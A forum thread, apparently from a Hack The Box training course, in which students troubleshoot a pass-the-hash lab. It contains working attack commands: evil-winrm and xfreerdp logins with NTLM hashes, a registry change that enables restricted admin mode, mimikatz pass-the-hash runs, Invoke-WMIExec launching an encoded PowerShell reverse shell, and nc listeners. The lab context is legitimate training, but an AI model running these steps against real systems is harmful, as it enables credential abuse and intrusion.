As many people have said, some tasks seem to be particularly difficult which can be very frustrating, although giving the opportunity to hone micro techniques (being what I keep in mind to provide motivation), this question has got the better of me for too long now.
I will provide a sequence of methods, commands and outcomes undertaken and can someone pleasee let me know where I’m going wrong here . I feel as though I’m completing everything correctly but still cant manage to catch a shell.
- Firstly, Im using evil-winrm to change the restricted admin mode with the following commands:
evil-winrm -i 10.129.204.23 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
- Next, I’m using xfreerdp to RDP to the machine using the following command:
xfreerdp /v:10.129.204.23 /u:Administrator /pth:30B3783CE2ABF1AF70F77D0660CF3453
- Following this, I’m dumping NTLM hashes using mimikatz and with the following commands:
- This gives me the NTLM hashes for 4 user accounts (I wont provide the hashes here to avoid spoilers):
Next, I RDP using julios creds as per the question.
From which I try to initiate a pass the hash (PTH) using mimikatz and with MS01 creds (this is to enable the lister with MS01 as the user as the question states that the machine will only connect back to MS01). This executes with no errors, however when whoami is passed, the user printed is still julio (to try and mitigate error I tried the same process when RDPing using admin creds which allowed me to PTH into MS01). This was done using the following command:
mimikatz.exe privilege::debug “sekurlsa::pth /user:MS01 /rc4:27306e8dad558c047eb35761abb16fc1 /domain:inlanefreight.htb /run:cmd.exe” exit
A nc listner is configured to listen on any 8001.
Finally, using powershell the following commands are executed to catch the shell (the following socket was configured in powershell3 base64 rev shell gen - 127.16.1.5:8001):
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command “powershell -e ‘’‘base64 here’‘’”
Note: all instances of cmd and ps are run as admin.
I have tried this sequence various times, on my local machine and with the pwnbox and I just cant get it to work. I’m thinking my error lies in step 6 where I cant PTH to MS01.
Thanks for taking the time to read and all help appreciated
I’m not sure, pretty stuck on the part as well. Last question and it sucks, Ill try once more.
Make sure to generate your own shell using https://www.revshells.com/ . I couldn’t get it to work with the shell provided in their notes, even though the IP and ports used were identical. I generated my own and came right up.
did you get the solution for this task?
i’m stuck from a week, can you please suggest some hint if you have completed this task
Try using a different port than 8001 when generating your reverse shell and setting your listener (port could be in use).
have you solved your problem?
Yeah, are you looking for some help? Let me know and I’ll have a look over my notes when home later
I have solved this problem. thank you, took few hours to understand.
I had some issues to with this and these steps helped me:
removed the -domain flag.
kept the user as julio
added -verbose to troubleshoot
did an Import-Module .\Invoke-TheHash.psd1 in Powershell.
For the raw shell. I picked Powershell #3 on left hand list. In the shell drop down pick “powershell” and left the encoding drop box set to none. I also changed my port 9434. You want to use the IP of the attack windows host. Then I copied just the encoded block into the example shown into the section an updated the parameters/flags accordingly.
Can anyone explain to me in a logical manner what is the ask in the last question of PtH section:
Using Julio’s hash, perform a Pass the Hash attack, launch a PowerShell console and import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01). Use the tool nc.exe located in c:\tools to listen for the reverse shell. Once connected to the DC01, read the flag in C:\julio\flag.txt.
Let’s go step by step, following the instructions:
- Using Julio’s hash, perform a Pass the Hash attack, launch a PowerShell console
I am logged in through
xfreerdp to 10.129.131.149 with user “Administrator” and password “30B3783CE2ABF1AF70F77D0660CF3453”. My interpretation the instruction is the following:
c:\tools>.\mimikatz.exe "privilege:debug" "sekurlsa::pth /user:julio /rc4:64f12cddaa88057e06a81b54e73b949b /domain:inlanefreight.htb /run:powershell.exe" exit
- import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01)
I go to the required site and I generate a revshell as instructed:
Then I open a nc listener:
c:\tools>nc.exe -lvnp 9999
listening on [any] 999 ...
And try to send and catch the reverse shell as follows:
PS C:\tools\Invoke-TheHash> Import-Module .\Invoke-WMIExec.ps1
A connection attempt is seem to be try to happen, but not matter how long I wait or how many ports I change it never goes through:
I am stuck here for hours on end!
From where you have gotten to in the listener try “hostname” remember you’re looking for DC01.
You can message me directly if you still need further instruction
I got it ‘solved’, I just had to press “Enter” for the prompt to appear !
It’s been a while since I completed this lab but I’m sure the issue I was having had something to do with the powershell script/syntax. In the lesson htb provides multiple examples of ps scripts with slightly different syntax which is easily overlooked. Try using the other examples. Hope this helps